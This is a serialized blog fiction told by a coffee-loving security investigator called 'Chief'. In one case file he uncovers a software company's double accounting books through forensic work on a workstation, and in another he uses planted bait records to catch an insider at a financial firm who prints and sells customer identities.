“Well, let’s break this down.” I began. “We have a rogue ex-employee, a stolen laptop, stolen keys, and you are possibly under some kind of surveillance?”

“Yes.” VonHeffer said in between nervous twitches.

“Dave, let’s go for a walk.” I said as I grabbed Dave by the arm.

We excused ourselves and walked outside.

“What’s up?” Dave asked.

“This doesn’t feel right.” I said.“What do you mean?” Dave questioned me as he sat down on a bench outside the restaurant.

“Well, he’s either leaving something out, or making some of this up. Who throws surveillance on a previous employer like this? The ex-employee has all the cards. The non-compete is going to be hard to win in court, we both know that. If TouchThemSoft is responsible for the break-ins, what were they after besides the keys and the laptop? What do the keys go to? What’s on the laptop?” I asked.

“You want to do this by the numbers and see what happens? We’re talking some serious billable hours here Chief.” Dave said, dollar signs blazing in his eyes.

“You read my mind. Let’s sign the agreements and roll over to their HQ. We need to talk to their legal folks and find out if they have ever done any type of risk assessments. And I want to know what was on that laptop.” I said.

“Sounds good - but what do you want to do about this little surveillance issue?” Dave asked me as he lit up a cigarette.

“We can ghost chase. Call Mikey - put him on VonHeffer for a few days, take some pictures, you know… by the numbers. Have him do a covert on him though… if someone close to VonHeffer is ‘in’ on something I don’t want Mikey compromised. We’ll see if someone is really following VonHeffer.” I replied.

“Done deal Chief.” Dave said as he put out his cigarette under his shoe.

‘One last thing." I began.

“Yeah Chief?” Dave responded.

“Until we know this whole thing isn’t rotten, mum is the word on operational plans. We discuss nothing with the client.” I demanded.

“Your gut really bothering you on this one Chief?” Dave asked.

“Something besides the coffee? Yes.”

(Aside)

Pick out the holes in VonHeffer’s story. What was bothering my gut? Coffee is not an allowed answer.

(/Aside)

Source: archived original

Part IV · Jun 10, 2004

“Fancy Digs.” I thought to myself as I entered HefferSoft’s spacious lobby. I checked in with the receptionist and decided to warm up one of the leather chairs nearby. Dave was still outside, cellphone in one hand and a Newport in the other.

“Chief?” the receptionist said as she leaned over the marble counter.

“Yo!” I responded, eager to put down the People Magazine I had been browsing.

“Mr. Jones in legal will see you now - down the hallway, last door on your left.” the receptionist squeaked.

I motioned for Dave to speed things up outside and started walking down the hallway. Dave and I entered Mr. Jones’ office and took our seats quickly.

I asked Mr. Jones some very basic questions regarding HefferSoft and the situation that Mr. VonHeffer described. “When you get right down to it, there’s a lot going on around here.” Mr Jones began. “We had a key employee defect to the one competitor that is on the verge of putting us out of business. This is, of course, confidential.”

“Understood.” I said. “So what’s the risk? I take it your legal team has done some sort of risk analysis. What were the results? What are your big risks here besides a possible violation of a non-compete agreement?”

“Well, yes - there’s that. You see, the employee we’re talking about here is Mick Thomas - he’s basically the programmer that wrote the first version of our software in his apartment years ago. Mick always wanted a larger portion of the company. Taking the company public didn’t sit too well with Mick, even though he was given a very generous stock option plan.” Mr. Jones said. “Mick had it out with VonHeffer one afternoon, and we haven’t seen him since. We had some information leak into this office that Mick might be working at TouchThemSoft - turns out the information was good. "

“I’m trying to follow you here.” I said as I imagined how good a cup of coffee would be during this discussion. “What are the RISKS here? What does Mick bring to the table at TouchThemSoft besides his experience with VonHeffer and possible access to proprietary source code?”

Dave moved forward in his seat. “And better yet - what information was on the assistant’s laptop that was stolen? Was this information collected? I’d like to see this as soon as possible.”

“Yes Dave, I’ll have that information to you shortly. To answer your question Chief, we do have a list of concerns with Thomas’ defection - and there are more risks than those that you mentioned. " Mr. Jones said as he became suddenly tight-lipped.

“Yes? And?” I asked.

Mr. Jones shifted in his chair, covered his eyes with his left hand and inhaled deeply. This is never a good sign from a client.

“Thomas had access to… documents.” Mr. Jones said under his breath.

“What kind of documents?” Dave asked, practically falling out of his chair at this point.

“Damaging ones.” Mr. Jones said.

(Aside)

Looks like my gut instinct was right on this one. I smelled a smokescreen quick by observing VonHeffer’s body language and listening to him spill the beans.

What kind of documents does Thomas really have?

Why is Jones so uncomfortable right now?

What else was VonHeffer lying about? Why?

What kind of coffee will I be drinking next?

Is the surveillance claim a red herring? Why? Why Not?

(/Aside)

Source: archived original

Part V · Jun 18, 2004

“This is the best tuna sandwich I’ve ever had!” Dave exclaimed as he dripped tuna salad out of his sandwich all over the table.

“Dude, I’m trying to eat here.” I said staring at my grilled chicken breast and a side of fruit. You know you’re getting old when you make a serious effort to eat healthy every day. “Takes the guilt away from this double-espresso powered white chocolate caramel cup of coffee happiness.” I thought as I felt the caffeine rush to my brain.

We were both pretty exhausted from spending a marathon three hours in Jones’ office.

I wanted to establish a few things with Jones. What did he really know about what was going on? Did he trust VonHeffer? Did he have external motivators? How well did he know Mick Thomas?

Jones stated that he was oblivious to anything besides what we had already talked about - he had no reason to not trust VonHeffer - and he barely knew Thomas aside from their conversations in board meetings. Jones also refused to elaborate on the “damaging documents”.

“Hey Chief - you’re staring off into monkeyland again - what’s up?” Dave asked, waving his monkey paw in front of my face.“Have you heard from Mikey?” I asked Dave, refering to the tail-for-hire that was supposed to be shadowing VonHeffer and looking for the surveillance teams that VonHeffer described.

“Nope.” Dave replied. “But let’s see how he’s doing?”

Dave picked up his cell phone and dialed Mikey’s number. Apparently Dave was more interested in his Tuna sandwich than talking to Mikey, because he handed his cell phone to me.

“Mikey.” I heard on the phone.

“Mikey - it’s Chief. What’s up?” I asked.

“Not a damned thing. I’ve been tailing this guy all day. We went from his house, to the gas station, to the book store, to the clothing store, to a restaurant for lunch, back to the mall, up north to a bar…”

“Ok - and no contacts?” I asked Mikey.

“Not one. Nobody is following this guy - and if they are, they are better than I am. I swept his car for locaters and he’s clean. I think he’s seen one too many James Bond movies.” Mikey joked.

“Alright - let’s go two more days and see what happens.” I said as I hung up.

Dave’s eyes widened. “Hey Chief, do you realize that this is the first time that we’ve followed the CLIENT?”

“When’s the last time we had a client that gave you the heebie-jeebie’s like VonHeffer? Did you get the profile of that stolen laptop?” I asked.

“I’m looking at it now.” Dave said, lifting a folder of documents from his lap.

“Please don’t get Tuna on that man.” I said.

“Well, I’m not the techie of the team - so help me figure this out. The listing is from a backup server that automatically backs up portables when they plug into the corporate LAN.” Dave said as he turned a few pages. “And this is where it gets REAL confusing. I’m looking through the directory listings of the C: drive and I’m not seeing anything even remotely interesting. There’s a total of maybe 20 word documents and a few spreadsheets, but nothing with file names that sound interesting.”

“That means nothing - anything could be in those files - or any other file.” I said wishing I had remembered to ask Jones for a contact to pull the backup tapes.

“Ok, ok… but here’s the best part… the backup software is configured to only backup drive C:!” Dave exclaimed.

“Yeah, what’s your point? Most laptops nowadays only have one big ass C: drive anyway.” I countered.

“Chief - there’s a drive D: on this listing…. and it’s stuffed with word documents and spreadsheets.” said Dave.

“Where are you going with this Dave?” I demanded.

“It’s a CD-ROM! Now I wonder if the CD-ROM was in the laptop when it was ‘stolen’?” Dave asked.

A CD-ROM huntin’ we are about to go….

Source: archived original

Part VI · Jun 25, 2004

(Aside) _ Time to back up for a second.

Through some keen observations by Dave, we’ve established that at the last time the executive assistant’s laptop was backed up (ie, last time it was plugged into the corporate LAN), there was a mystery CD in the laptop. This is the same laptop that was supposedly stolen from her home. The CD looks interesting, but how do we find the CD? How do we find out what was on the CD? Why was the CD made? Does the whole case revolve around this one CD?

One thing to keep in mind during this case file - the NAME of the case file. :-)

_ (/Aside)

Our story continues…

Paper as far as the monkey eye could see - scattered all over the table at the local Starbucks. Dave and I were entrenched doing some background work on the executive assistant, Mick Thomas, VonHeffer, and multiple binders of company policies and procedures.

Lots of interesting facts were added to our case notes:

The Executive Assistant (EA) did indeed report the break-in and theft to the police, however no homeowners claim was filed on her possessions. Not uncommon - a homeowner’s claim is a death blow to ever getting homeowner’s insurance within three years. Don’t you love how the insurance racket works?
Interviews with other staff members revealed that the EA and Mick Thomas were known to eat lunch together and socialize on numerous occasions.
Mick Thomas not only had full access to the company’s CVS (source code) servers, but administrator and root access to all other machines. This was in violation of the company’s network security policy, but no violation reports were ever filed.
A risk analysis was done by the legal department about six months before Mick Thomas left the company. All five stages of a RA were completed, and one of the largest financial risks mentioned was the theft of intellectual property (the source code) of their product line.
The company CFO, Izzy Landers, has been on vacation since the theft of the EA’s laptop and unreachable by cell phone.
Izzy and VonHeffer were college roommates.
Izzy used to work for TouchThemSoft about one year before the EA’s laptop was stolen. No non-compete suit was ever filed by TouchThemSoft over this move. Interesting.

“You know what I’m thinking?” I said to Dave as I took a swig of a most caffeinated house blend.

“This was a bad week to stop smoking crack?” Dave joked.

“If I was going to burn a CD with a bunch of potentially damaging (and we’re assuming damaging) documents on it, what machine would I use at my company?” I asked.

“Hmmm. Well, for starters you wouldn’t want to use your own machine - so let’s assume that the EA burnt the CD but she didn’t use her laptop.” Dave said.

“Yep, ok - now she needs to find another machine with a burner in it - whose machine is she going to use?” I pondered.

“One that she has access to? But with her login, she could login to any Windows 2000 workstation on that top-floor network.” Dave pointed out.

“Yes - but how many machines had a burner installed!” I expounded.

“Well, according to the hardware inventory… only two.” Dave replied. “One belonged to the VP of Graphic Services who used….. a powermac G4. And the other was in… oh this is nice!!!”

“Uh?” I replied.

Dave lowered the paper and smiled, spouting off “The only other machine with a burner belonged to…

Mick Thomas!!!

Let’s hope that the IT department didn’t follow it’s machine scrubbing procedures on that machine, Chief.”

Yes, indeed.

(Aside)

Ok sleuths… what is going on?

What are your theories so far?

Hint: Remember this case file?

And why the heck was I drinking a house blend instead of an imported bean?

(/Aside)

Source: archived original

Part VII · Jul 1, 2004

_ Memo from the Chief

Hello out there? You all have been very quiet lately. Is everyone on summer vacation BUT me? Or have you all gotten lost in the multiple layers of details surrounding this case file? Understandable. And remember, you’re reading a ‘summarized’ version of what happened. Icky.

Our story continues… _ Tracking down Mick Thomas’s machine was not hard. One phone call to the hardware monkeys and they knew exactly which machine I was talking about.

“So where is this workstation?” I asked the first monkey.

“(sound of him scratching his head) It’s the pretty blue tower machine sitting next to my supervisor’s desk.” said the first monkey.

“Put your Sup on the phone please.” I asked.

“Yes?” said the second monkey.

“You have workstation #WS000002 in your office, yes?” I asked the second monkey.

“(sound of him scratching some place I didn’t want to know about). Yes - it’s sitting right here next to my desk.” said the second monkey. “I use it every day!”

My heart sunk.

“Did you erase the contents of that workstation before you started using it?” I asked the second monkey.

“Nope. I just created a new profile. This baby has a mega awesome video card and Mick had everything tuned just right!” chirped the second monkey.

Dave and I just had a lucky break.

We headed to the hardware support area in the IT department and located the workstation. It was a bright blue tower - one that someone would use if they were a professional gamer perhaps.

“We’re going to need to borrow this machine for a while.” I told the second monkey.

He started to give me some grief about needing his machine, but I’m sure the sight of my trusty clue banana dangling from my belt made him change his mind. Fear the banana!

I pulled the power cord from the back of the machine and heard the fans go silent. We took some pictures, packed the machine in some anti-scratch wrapping and placed the machine on our trusty cart, leaving the screaming monkeys in the hardware support department to their daily grind of swinging from one cube to the next.

A few hours later I was combing an Encase image of the hard drive from the big bad blue workstation. It didn’t take me long to locate a series of CDR project files and disc images. Whoever was using Mick’s profile was not concerned about these files laying about in broad daylight.

There were ten images total on the drive. I proceeded to start burning CDR images one by one and labeling them accordingly by the image filename, date and time.

As the CDR’s were labeled, I handed them to Dave for examination. One by one, disc by disc, the procedure was rather slow.

I decided that the room temperature decaf I was drinking wasn’t cutting it anymore, so I volunteered to venture out to the coffee shop to acquire some good bean juice while Dave continued to examine the CDR’s.

I was in line at the coffee shop trying to decide between the columbian medium roast and the espresso of the day when my cell phone rang.

“Chief.” I responded.

“I see files.” Dave said on the other end.

“No kidding genius boy. Anything that interests us?” I asked.

“A couple of things actually.” Dave said.

“Do tell.” I joked as I placed my order for our coffees.

“Well, I found a complete dump of their accounting system - everything. A/P, A/R, income statements, balance sheets, you name it.” Dave announced.

“Really? And what’s the other thing you found?” I asked instinctively.

“Another dump of their accounting system - same time period according to some of the plain-text report files - but with one slight difference.” Dave said.

“Oh, I can feel this one coming!” I thought.

“The numbers are all different. They have two sets of books.” Dave almost whispered into the phone.

I almost dropped my coffee.

(Aside)

So, we have some things going on here. For whatever reason, Mick had a CDR image on his hard drive of a dump of the accounting system (which he had access to). Did Mick make the image? Did the EA? Why? Why not?

Discuss.

(/Aside)

Source: archived original

Part VIII- It ends badly · Jul 12, 2004

Things were bad, and were getting worse the further we dug. Dave and I could have worn signs around our necks that said “Designated tools of due diligence”. You can make the joke.

Here we were being brought into an organization because of some missing data, some employees being followed, and key members of staff possibly jumping ship to a competitor. What could it all mean?

I took a gamble with my next move. This game is all instict, and I’ve never found my gut to be wrong on matters like this. I grabbed my case notes and walked to Mr. Jones’ office in legal.

Time to apply pressure to this gaping chest wound of a case.I spread page after page after page of case notes out in front of me on Jones’ desk. I asked some rather pointed questions, but my gut was telling me that Jones really didn’t have a clue. It looked like I’d have to show my hand in this card game.

“Mr. Jones, are you aware that VonHeffer and certain other executives in this company have been defrauding your investors from the very beginning?” I asked.

“What do you mean?” Jones asked, looking like I was pusing bamboo chutes down under his fingernails.

“I have two sets of accounting records here. One set is the set that you used to file all of your financial reports. The information I gathered from these reports matches your public disclosures.” I said. “However, this other set of records tells a very different story. It would appear that VonHeffer and crew have been treating themselves to large cash bonuses, personal perks that were written off as expenses, and let’s not even talk about the company’s stock option plan.” I said as I placed the documents in front of Jones.

“How did you… find… where… what the…” Jones sputtered off.

I spent the next hour briefing Jones on what Dave and I had uncovered. I was going to throw the matter into his hands, collect our check and run away from this case as fast as my shoes could take me.

Mick Thomas caught on to the “questionable” accounting practices that VonHeffer and several other officers of the company practiced. The CFO was a personal friend of VonHeffer and disappeared on vacation. Thomas found the records, burned them to CDR media and escaped to TouchThemSoft as fast as he could. The CDR’s were his insurance against VonHeffer suing him from jumping ship.

Thomas and the EA were indeed having an at-work affair. Thomas had given the EA a copy of the CDR as insurance. When Thomas found out that VonHeffer was on to him, Thomas and the EA staged the break-in at her place to explain the laptop (and the CDR) just “disappearing”. It was later discovered that the EA had saved hundreds of incriminating e-mails from VonHeffer as her own “insurance”.

VonHeffer’s plan on bringing in an outside security investigation firm backfired in the worst way. The forensic evidence that we were able to find, label, preserve and present aided an attorney that represented some of VonHeffer’s largest investors. Needless to say that VonHeffer and his cronies wound up with some jail time. VonHeffer’s company was bought by a much larger company and it’s technology used in a much larger, more popular CRM solution.

Not every case goes smooth or even makes sense in the end - especially when things go badly.

(Aside) How did VonHeffer completely shoot himself in the foot?

Anyone want to take a guess at describing the entire scam that VonHeffer put together? This casefile only highlights the very basics.

(/Aside)

Next time, new case file - and it’s a weird one.

Source: archived original

10. Case of the Determined Debutant

Mon, 19 Jul 2004 00:00:00 +0000

Part I · Jul 19, 2004

New Format Announcement From The Chief:

I have decided to do smaller, more frequent updates to the case files. You’ve all been very vocal about this, so I’ll do my best to comply. Enjoy! ** ~ Chief**

I hate planes. I hate flying. Unfortunately, it’s required to get around in today’s world. The worst part has to be the coffee.

“Where do they find this stuff, the back shelf at Wal Mart?” I joked to myself.

It was a long flight back home after a well deserved vacation, and I was looking forward to sleeping in my own bed and the familiar aroma of quality java beans being ground at exactly 05:00 hours. Yum.

I was off the plane a mere three minutes when I turned my cell phone on to check my messages.

“Twenty Nine new voice mails? UGH.” I moaned as I began the daunting process of listen-and-delete. The last voice mail was left a few hours before, and caught my interest.

It was a referral call from a large financial clearinghouse in town. They had a confidential matter to discuss with me.

“God help me if these people just want to refinance my house.” I said as I closed my phone.

I would return their call first thing in the morning. Five o’clock came way too fast the next day. I had to spend the next few hours getting caught up on e-mails and snail mail. The coffee went down smooth and I could feel it activating every neuron in my monkey-like brain.

“Time to give BigHouse Financial a call back.” I thought. I pounded their number into my cell phone.

“BigHouse Financial, how may I direct your call?” said the perky voice on the other end of the phone.

“Michael Cash, please.” I said with a straight face. This receptionist was straight out of the movie “Valley Girl”.

“This is Michael.” a familiar-sounding voice said.

“Michael, it’s Chief - returning your call. What’s up?” I asked.

“Thanks for calling back Chief - I have a sensitive issue brewing here at BigHouse and I’m not quite sure how to handle it.” Michael said slowly. He was thinking about each word he said so loudly that my ears were bleeding.

“What kind of ‘issue’?” I asked.

“It’s best that we don’t discuss this on the… phone. When can you come in?” Michael asked.

“I’m jumping into the car as we speak.” I replied back.

Somebody sounded very paranoid.

Source: archived original

Part II · Jul 21, 2004

BigHouse Financial occupied a large glass-faced building in the ritzier part of town. The building was less than a year old, and hosted one of the most technically innovative physical security systems around. I had read about this building while it was in the planning, building, and completion phases in a lot of trade magazines.

“Now’s my chance to see the goods.” I thought as I checked in with the guard at the parking garage. He took my driver’s license, scanned it into a machine, printed and laminated an id badge for me and my vehicle and assigned me a parking space - next to the elevators even!

I exited my vehicle and looked around the parking garage - I was being watched by numerous cameras mounted around the ceiling. As I scanned my new badge to enter the elevator, I was surprised to see tah dah… yet another camera in the elevator.

“This is right out of movie.” I said outloud. I hadn’t seen security this tight since touring a few casinos in Las Vegas.

I walked accross a bridge that extended from the second floor of the parking garage to the BigHouse Financial office building. I scanned my badge again at the door to the building and walked into a large reception area, complete with perky receptionist…

“Hello! How may I help you?” the receptionist said without blinking an eye.

“I have an appointment with Mike Cash.” I said looking around the reception area. A camera was overhead, and one on the ceiling overtop each of the intersecting hallways nearby.

“Please have a seat, Mike will be right with you.” she said as she motioned me to sit on a very comfy brown leather sofa.

I was reading a fascinating article about Michael Jackson and his fascination with monkeys when Mike approached me.

“Chief! Good to see you… let’s take a walk to a conference room.” Mike said as badged us into one of the nearby rooms.

Mike closed the door behind us, asked me to sit down and proceeded to pour me a cup of coffee from a nearby coffee pot.

“What’s up Mike? I talked to the person that referred you to me, and he didn’t have a clue about your ‘issue’.” I said as I sipped the hot coffee slowly.

“Chief, we spent a lot of money making this one of the most secure buildings around. We process thousands upon thousands of sensitive financial transactions a day. We keep several terabytes of financial documents online and accessible to our service staff. We have a large security staff, and we pass every security audit that we go through. That’s what makes this especially difficult.” Mike lamented.

“I don’t understand, makes what difficult?” I asked, sipping more coffee.

“We have a mole.” Mike said, folding his arms in front of him.

“This mole has somehow figured out how to…”

To Be Continued…

Source: archived original

Part III · Jul 27, 2004

“To what?” I asked, annoyed that Mike wasn’t completing his sentences properly.

Mike smiled. “Well, someone has figured out how to get a large amount of our customers’ data out of this building.”

“Fill me in.” I said, intrigued.

“Well, this has been going on for about two months now. You need to understand that there is no external access to this network, aside from private network connections to clearinghouses. No internet access, no analog phone lines laying about… none of the obvious electronic stuff. Everyone is searched coming and going from this building. We’re stumped.” Mike said, offering me a warmup on my coffee.

“I have to say I particularly enjoyed the brief search that the guard gave me.” I joked. I was wanded for metal objects - that was about it. Of course, I brought nothing into the office aside from my trusty pen and notepad…

“You have this place under pretty heavy CCT surveillance man - cameras are everywhere.” I said. “And I’m guessing that you have an adequate internal audit department that is analyzing employee access to systems? Nothing out of the ordinary?”

“You are correct - and no, we’ve found nothing. We first caught on to the information leakage when ten people over a four week period were the victims of identity theft. The only thing these people really had in common was that their identities were used around the same time, and they all had a major financial transaction go through our shop at some point.” Mike pointed out as he flipped through some drink coasters on the conference room table.

I raised a finger to my bottom lip, thought for a moment and said “So your assumption is that you have someone lifting documents in some form or fashion from your company and using the information themselves…”

“Or selling the information to someone else perhaps.” Mike responded, a smile crossing his face.

“That’s quite common nowadays.” I commented, taking a few moments to collect my thoughts. “I think I need to sign those NDA’s you talked about, and then pour over these ten individuals’ transactions.”

“Let’s go to my office - I have everything ready.” Mike said as he ushered me out of the conference room and into an elevator.

A few minutes later, I was signing my John Hancock to some legalese and glancing over what appeared to be papers associated with home mortgages.

“Woah.” I said out loud as I dropped my pen.

“Whoa what?” Mike asked.

“Mike, all of these people have yearly incomes that exceed half a million dollars.” I said.

“Yes, that too is quite common - we see them all the time.” Mike pointed out as he flipped through the papers.

“Yeah, but are all your customers self-employed?” I asked.

“What?” Mike spouted as he took the pile of papers from my hands.

“Someone is profiling your customers… looking for specific characteristics… something that works to their advantage.” I said as I sat up in my chair.

“Well, we somehow missed that… but how does this help us? Where are you going with this?” Mike inquired as he stared at me in disbelief.

“Honeynuts.” I responded.

Time to bait the line and see what bites.

Source: archived original

Part IV · Jul 29, 2004

“Breakfast cereal?” Mike asked as he stared at me with disbelief. Mike looked more like a ‘Wheaties’ kind of guy, so I’m sure that I had just offended him.

“No - think of it like this. What happens when you go out to the park and leave a trail of breadcrumbs from the bottom of a tree to the bench you’re sitting on?” I asked Mike with a grin.

“You’re arrested for littering?” Mike said sarcastically.

“The pigeons flock to the breadcrumbs, and eat every one… working their way up to the last breadcrumb which is right in front of your feet.” I said, downing the last of my cold coffee…“So you propose a trap - ok, what are the breadcrumbs? How do we pull this off?” Mike said with a raised eyebrow. Spock would have been proud.

“I’m going with the assumption that your thief is doing customized searches against certain fields in these records. We’re going to plant some fake records out there that nobody would ever access in their normal course of work.” I spouted as I tapped Mike’s desk with my pen.

“Ah, and since we don’t trap searches - but we DO trap record access - the pigeon would be walking right to our feet?” Mike asked, blinding me with the lightbulb that suddenly appeared over his head.

“Exactly. I need you to hand pick a small team of people with skills in these areas.” I said as I scribbled some monkey jibberish on a piece of paper. “We’re going to have a briefing in the morning at 0600 hours before most of your staff arrives. Stealth is the key here - and you want to make sure that these are people that you would trust with your life. We’re not going to get too many shots at this.” I said as I stood up to adjust the clue banana hanging proudly from my belt.

“You got it Chief - so when do you think we’ll see the pigeon - or possibly pigeons?” Mike asked as he shook my outstretched hand.

“Soon.” I said.

Very soon.

Source: archived original

Part V · Aug 3, 2004

The clock on the wall read 06:05 hours. The conference room was a bit stuffy from the air conditioning being turned off over night for maintenance. I was sipping the last of a beautiful french roast, waiting for Mike to assemble the crew I asked for.

“So much for starting on time.” I mumbled as I released a rather loud yawn.

Monkey business is tiring business, no two ways about it.

A few minutes later Mike entered the conference room with three individuals. Database guy was the architect of the system suspected of being used to steal the information. Data security guy was third in charge of security and a former network monkey - very clued individual. Systems specialist girl was an expert in the applications used in house to access the database in question. But why these three people? Some explanation is necessary. First, I wanted someone who was a key individual and very low-level to the database. We’d need knowledge of how the database was composed and what low-level solutions were available in a pinch.

Data security guy was a grunt that had access to the security infrastructure, but also had a networking background to help us with our search endeavors.

System specialist girl was going to help us in figuring out each nook and cranny of the document-retrieval system that the users had access to.

The plan was simple. Plant the nuts, post a sentry and set some alarms. When the alarms were triggered, we wanted to do a capture-and-trace of the network traffic between the workstation and the application server, and perform as much physical surveillance as possible in the shortest amount of time. This is where data security guy was going to come in real handy - he had access to the entire security infrastructure - net-powered cameras and all.

I discussed the plan in great lengths and received some feedback from the team. As usual, there were surprises involved.

“Capture record access? Hell yes we can do that. Who told you we can’t do that?” database guy asked Mike. Database guy was also an old Unix hack, and had some great tricks up his sleeve.

“I recommend we modify my debug scripts that I use for testing to look for database requests containing the bait names.” database guy said. “One script in particular would be perfect - and it runs in real time. We can setup an email alert too.”

“That’s great, but all the transaction requests come from the application server - they all appear to be from the application server. We need a way to correlate when the search happens against the database with the user logged into the application and executing the search. Unfortunately, there is no such facility in the software.” systems specialist said with a frown. “The best we could do would be to catch the alarm from the database, and then immediately perform a manual search on the application server for the request - which could take a while.”

“And what about the network traffic capture? This is all web-based, and it’s not SSL-encrypted for whatever reason.” data security dude pointed out with a grin. “If we want hard proof of the request, we’ll need to setup an http sniffer box to monitor the switch port that the application server is plugged into.”

I was grinning from ear to ear - I was making them think!

“Ok, let’s talk about surveillance. Once we identify the ip of the workstation, we’ll need to know where the workstation is located. We have a network map showing each workstation, right?” I asked.

“Well, we’d need to query the IP for the hostname since we’re running DHCP here - but once we have the hostname it’s a snap!” data security guy proudly announced.

“Database guy, let’s get those records in the system and that script running.” I suggested as I stood up from the table.

The game was on.

Source: archived original

Part VI · Aug 10, 2004

Fish are a real pain in the arse. You’re sitting there in a boat with your fishing pole extended, bait in the water… waiting… waiting… and those little suckers ignore you - almost as if they can smell you.

“Well, they wouldn’t get near me right now - I smell like I want to be alone.” I joked to myself.

Three days had gone by since our tiger team had jumped into action, and not even a nibble.

This isn’t entirely unusual. In data collection cases such as this, the offender typically works in two fashions:

Slow and easy - records are accessed and copied one at a time over a very long period of time. Fast and quick - records are accessed and copied in bulk using the fastest method available, hoping to ride in between security checks and not get caught.

My stomach was grumbling - it was getting very close to lunch time - I couldn’t fathom another day in the company cafeteria…. One half an hour later, I was enjoying an amazing bowl of japanese food with green tea.

Note: I should tell you all now that the Chief’s doctor had advised him to cut back on coffee consumption and switch to tea. Yes, it was a sad day.

ring

“Chief.” I said holding my cell phone with one hand and my chopsticks with the other.

“Chief, it’s database guy. I have a hit! Actually, I have three hits! We’re rolling up the incident now… you should probably get back here asap.”

I almost choked on my rice bowl. What’s that saying, “a watched pot never boils?”

I drove back to the building and breezed through the security checkpoints. I entered an office with a swipe of my badge - an office that we converted into a makeshift “watch room”.

“Ok, I got the queries right here… see.. right here!” database guy was almost screaming with glee. I really just wanted to slap him at this point.

“Have we run through the application logs yet, anything?” I asked systems specialist girl.

“I’m rolling through them now… I have several hundreds of thousands of lines of logs to search through. Shouldn’t be much more than a few minutes longer.” she said, her eyes not leaving her laptop screen.

The tension in the room was mounting, and data security guy looked like he was about to explode - foot tapping, nervously sipping a Coke. It wasn’t warm in the room, yet he was sweating profusely. I hope he remembered to be “sure” this morning.

“Got it! I got it!” systems specialist girl said as she swung around in her chair. “Data security dude, bring up a camera on workstation 5B003.”

“5B003? Where’s that?” I asked.

“You wouldn’t believe me if I told you.” data security dude said as he manipulated the security cameras on the workstation in front of him.

“Try me.” I said.

“That’s on the fifth floor, section Bravo (north wing) in cube #3. That cube belongs to my partner Maria.” data security dude said, more flustered than five minutes ago.

Data security dude brought up the camera, engaged the zoom mode and found the workstation.

“There’s only one problem here, Chief.” data security dude said.

“Eh?” I asked.

“That’s not Maria at the computer.” data security dude replied.

The room was dead silent.

Source: archived original

Part VII · Aug 21, 2004

“Somebody want to tell me who this person is?” I asked as the camera zoomed in closer to the woman sitting at Maria’s workstation.

“Darla Dominique.” Data Security Dude replied, lost in a blank stare as he moved the camera around.

“Darla used to work in Data Security, but was moved to an analyst position within the IT department because of a political issue with the Director of our department.” Data Security Dude said.

“What issue would that be?” I asked as I stepped closer to the LCD screen, watching her every movement.

“He actually expected Darla to be at work and do her job. Darla is in the middle of a nasty love triangle from the last information I heard, and wasn’t making her job a priority. The Director didn’t want her in a sensitive position, so he gave her a lateral promotion to somewhere else in IT.” Data Security Dude elaborated as he began to stand up.

“What’s the plan, Chief?” Systems Specialist Girl asked as she closed the lid on a nearby laptop.

“We watch and learn.” I said as I sat down in Data Security Dude’s chair. The next ten minutes went by very slowly as we tracked and documented Darla’s moves. I was most curious about how she was getting the information in such large quantities out of the building.

“She doing her criteria queries, getting the output through the document application, then what is she doing after that? It’s hard to see.” Database Guy said as he nudged closer to the LCD screen.

“The document images that she’s seeing - what format do they appear as in the browser?” I asked Systems Specialist Girl.

“They are converted on the fly from PDF to JPG - they show up in the browser as a JPG.” she said, holding her chin in one hand and scratching her head with the other.

“She’s dragging and dropping something… look at that… one window into another window… see that? And the image moved up, then down…” I pointed out. My eyes were really beginning to hurt.

“She’s getting up!” Data Security Dude said as he tried to find the ID of the camera she was approaching.

By the time the other camera was located and adjusted, Darla was already walking towards the elevator.

“Where does she normally sit?” I asked.

“She’s on… the third floor… in the corner.. cube 12 it looks like. Let me find the camera…” Data Security Dude said as flipped through the camera software.

“Got it!” he said as he zoomed in. Darla had made it back to her desk and appeared busy with some menial task.

“What the hell is that - a three hole punch? What the hell is she doing?” Database Guy asked.

I started laughing - hard. I had to sit down.

“What’s so funny Chief?” Data Security Dude asked.

“Get your facilities security team on the phone - and get Mike up here now. We need to grab her before she heads home.”

“But why are you laughing?” Systems Specialist Girl asked.

“Because, folks, the joke is on us.” I said.

I needed coffee.

Source: archived original

Part VIII · Sep 1, 2004

“Medium-roasted beans, oh the pleasure….” I thought as I leisurely sipped 24 ounces of the creamy concoction in Mike’s office. “I’m craving Oatmeal Cookies. That’s weird.” I thought to myself.

“Uh, Chief?” Mike asked, garnering for my attention.

“Huh?” I replied, snapping back to my senses.

“Sorry, you were lost there - tired?” Mike asked.

“You could say that - what time is Darla’s shift over?” I inquired, glancing at my monkey watch.

“About 30 minutes to go. We should probably head down to the security desk.” Mike suggested as he stood up behind his desk.

“Let’s do it.” I said, slamming the rest of my coffee in a gulp. It’s a talent, I tell you. A quick ride down the “secure” elevator and we were at the security desk,watching the clock tick.

A few minutes later, emloyees started to pour down the elevators and stairs, heading past the security desk and badging out the exit doors.

“There she is.” Mike said, walking towards Darla - security guards in tow.

“Darla, could we have a few minutes?” Mike asked as he motioned towards the door of the security office.

“Uh, ok I guess. Is something wrong?” Darla asked, looking around nervously.

“We just need to ask you a few questions.” Mike said, spouting out a line that has been in way too many detective movies.

Mike, Darla, and a security guard joined me in the security office. It was a bit crampt, but adequate.

“Darla, as you know we have a company policy on inspecting items leaving the company for security purposes.’ Mike said.

“Uh, yes. I know that.” Darla said, staring at her feet.

“Mind if I take a look at your binder?” I asked, reaching for the 1-inch thick blue plastic book.

“Uh, ok.” Darla reluctantly agreed.

Mike peered over my shoulder as I opened the binder.

We weren’t looking at meeting notes, recipes, or software instructions.

On each formatted page was a neatly printed graphic image of a document - the first page of what appeared to be some type of financial application. I could clearly see fields for name, address, phone number, date of birth, social security number, etc.

I flipped through the binder and realized there were approximately 30 different prints.

Darla was staring at the floor.

Under questioning, the following information was established:

Darla had become angry at her Director for ‘banishing’ her from the data security department.
Shortly before she left data security, she had installed a key-logging application on a few workstations.
Darla knew the value of the information that was in the binder.
Darla was selling the information to a ‘buyer’ that she met online. $100 per usable identity. Darla was making an extra $3000-5000 a month in cash!

Based on this information, I made several recommendations to Mike & crew:

They spent a lot of money on facility and data security - however they had their ‘clocks cleaned’ by that one random element: the user. Policies were examined and changed.
They needed to tighten up their user access to systems and applications - there is no reason that data security personnel needed administrator access to all systems. Minimum necessary access is the key.
They needed to monitor for keylogging software better, especially on ‘secure’ workstations. We also located about 280 workstations that had some nasty malware/adware/spyware infections. Windows, windows, windows… sigh
